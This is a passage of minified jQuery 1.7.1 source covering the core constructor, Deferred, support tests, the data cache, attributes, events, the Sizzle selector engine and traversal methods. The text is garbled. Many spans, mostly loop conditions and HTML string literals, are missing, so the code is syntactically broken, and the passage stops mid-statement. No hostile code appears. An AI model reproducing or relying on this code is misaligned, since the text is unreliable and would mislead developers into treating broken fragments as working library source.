f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"":"")+""),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;g=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
      a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
      "+""+"
      ",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
      t
      ",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
      ",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

      ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
      ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var 